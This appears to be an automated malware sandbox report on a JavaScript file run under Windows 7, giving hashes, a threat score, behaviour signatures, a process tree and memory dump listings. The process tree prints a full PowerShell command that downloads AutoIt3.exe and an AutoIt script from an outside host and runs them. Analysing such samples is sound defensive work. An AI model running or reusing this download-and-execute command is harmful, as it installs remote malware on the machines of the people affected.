Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    30-10-2023 16:20

General

  • Target

    31102023_0019_fla.js

  • Size

    135KB

  • MD5

    607c2a744dff9a9724c4633a33a90237

  • SHA1

    0e0a43c6eed546e7e3f3b103dc78d3d898276481

  • SHA256

    a4218e196e98797cf2723e653eac563d824d089df0587e39c3a27ae153ef972b

  • SHA512

    17536531685491f87e9179587f7c368c937625582ae08be3e4a8d4f1a0ece33339095daaeeba1ce4b6201f0e125539f1bad815c13f12d90fead96da8ef897b69

  • SSDEEP

    1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0J:0T9U7hgaX6eerjqlI2IO6Mzqfh

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0019_fla.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msiydguxwlx' -OutFile 'ydguxwlx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ydguxwlx.au3'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1696

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1696-4-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

    Filesize

    9.6MB

  • memory/1696-8-0x00000000025E0000-0x00000000025E8000-memory.dmp

    Filesize

    32KB

  • memory/1696-7-0x00000000028C0000-0x0000000002940000-memory.dmp

    Filesize

    512KB

  • memory/1696-6-0x00000000028C0000-0x0000000002940000-memory.dmp

    Filesize

    512KB

  • memory/1696-5-0x000000001B320000-0x000000001B602000-memory.dmp

    Filesize

    2.9MB

  • memory/1696-9-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

    Filesize

    9.6MB

  • memory/1696-10-0x00000000028C0000-0x0000000002940000-memory.dmp

    Filesize

    512KB

  • memory/1696-11-0x00000000028C0000-0x0000000002940000-memory.dmp

    Filesize

    512KB

  • memory/1696-12-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

    Filesize

    9.6MB